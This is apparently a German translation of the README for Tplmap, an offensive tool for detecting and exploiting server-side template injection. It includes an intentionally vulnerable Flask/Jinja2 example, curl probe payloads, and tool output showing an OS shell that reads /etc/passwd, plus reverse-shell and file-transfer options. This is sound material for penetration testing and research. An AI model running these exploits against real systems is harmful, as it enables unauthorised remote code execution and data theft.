
Serverseitige Template-Injection und Code-Injection Erkennungs- und Exploitation-Tool
Dieses Projekt wird nicht mehr aktiv weiterentwickelt. Ich freue mich, neue Pull-Requests zu mergen, solange sie die Testsuite nicht beschädigen.
Tplmap unterstützt die Ausnutzung von Code Injection- und Server-Side Template Injection-Schwachstellen mit einer Reihe von Sandbox-Escape-Techniken, um Zugriff auf das darunterliegende Betriebssystem zu erhalten.
Das Tool und seine Testsuite wurden entwickelt, um die SSTI-Schwachstellenklasse zu erforschen und als offensives Sicherheitstool bei Webanwendungs-Penetrationstests eingesetzt zu werden.
Die Sandbox-Breakout-Techniken stammen von James Ketts Serverseitige Template-Injection: RCE für die moderne Webanwendung, anderen öffentlichen Forschungsarbeiten [1] [2] und eigenen Beiträgen zu diesem Tool [3] [4].
Es kann mehrere Code-Kontexte und blinde Injection-Szenarien ausnutzen. Es unterstützt auch eval()-ähnliche Code-Injection in Python, Ruby, PHP, Java und allgemeinen unsandboxed Template-Engines.
Angenommen, Sie überprüfen eine Website, die dynamische Seiten mithilfe von Vorlagen generiert, die aus vom Benutzer bereitgestellten Werten zusammengesetzt werden, wie diese in Python und Flask geschriebene Webanwendung, die die Jinja2-Template-Engine auf unsichere Weise verwendet.
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
# SSTI VULNERABILITY
# The vulnerability is introduced concatenating the
# user-provided `name` variable to the template string.
output = Jinja2.from_string('Hello ' + name + '!').render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Aus der Perspektive von Black-Box-Tests spiegelt die Seite den Wert ähnlich wie eine XSS-Schwachstelle wider, führt aber auch grundlegende Operationen zur Laufzeit aus, was ihren SSTI-Charakter offenbart.
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
Tplmap ist in der Lage, SSTI in einer Reihe von Template-Engines zu erkennen und auszunutzen, um Zugriff auf das darunterliegende Dateisystem und Betriebssystem zu erhalten. Führen Sie es gegen die URL aus, um zu testen, ob die Parameter anfällig sind.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Verwenden Sie die Option --os-shell, um ein Pseudo-Terminal auf dem Ziel zu starten.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Run commands on the operating system.
linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap unterstützt über 15 Template-Engines, unsandboxed Template-Engines und generische eval()-ähnliche Injection.
Siehe burp_extension/README.md.
| Engine | Remote-Befehlsausführung | Blind | Code-Auswertung | Dateilesen | Dateischreiben |
|---|
| Mako | ✓ | ✓ | Python | ✓ | ✓ |
| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
| Twig (>1.19) | × | × | × | × | × |
| Smarty (secured) | × | × | × | × | × |
| Dust (> [email protected]) | × | × | × | × | × |